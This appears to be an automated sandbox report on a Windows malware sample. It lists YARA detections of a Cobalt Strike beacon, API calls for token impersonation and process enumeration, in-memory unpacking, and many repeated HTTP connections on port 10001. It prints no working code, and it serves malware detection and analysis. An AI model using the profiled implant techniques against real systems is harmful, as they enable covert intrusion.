Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: Process Memory Space: 7kSftA4Eoh.exe PID: 6992, type: MEMORYSTR	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: Process Memory Space: 7kSftA4Eoh.exe PID: 6992, type: MEMORYSTR	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: Process Memory Space: 7kSftA4Eoh.exe PID: 6992, type: MEMORYSTR	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Code function: 0_2_0099FE24 LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

0_2_0099FE24

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Code function: 0_2_009A6C98 OpenProcess,TerminateProcess,GetLastError,CloseHandle,GetCurrentProcess,CreateToolhelp32Snapshot,Process32First,CloseHandle,OpenProcess,ProcessIdToSessionId,CloseHandle,Process32Next,CloseHandle,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,CloseHandle,htonl,htonl,OpenProcess,GetLastError,OpenProcessToken,GetLastError,ImpersonateLoggedOnUser,GetLastError,DuplicateTokenEx,GetLastError,ImpersonateLoggedOnUser,GetLastError,CloseHandle,CloseHandle,

0_2_009A6C98

Source: 7kSftA4Eoh.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 7kSftA4Eoh.exe	ReversingLabs: Detection: 89%
Source: 7kSftA4Eoh.exe	Virustotal: Detection: 79%

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Unpacked PE file: 0.2.7kSftA4Eoh.exe.990000.1.unpack

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Code function: 0_2_009BC124 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,FreeLibrary,LoadLibraryExW,GetLastError,LoadLibraryExW,

0_2_009BC124

Source: 7kSftA4Eoh.exe

Static PE information: section name: .xdata

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009C515C push 0000006Ah; retf	0_2_009C5174
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_000D0128 push eax; ret	0_2_000D0364
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_000D0294 push eax; ret	0_2_000D0364
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_000D02EB push eax; ret	0_2_000D0364
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_03549B65 push cs; retf	0_2_03549B66
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_03566A42 push ebp; iretd	0_2_03566A43
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_03566A62 push ebp; iretd	0_2_03566A63
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_03566A8B push ebp; iretd	0_2_03566A8C
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_0354B19F push ebp; iretd	0_2_0354B1A0
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_035497A4 push edi; iretd	0_2_035497A5

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 10001
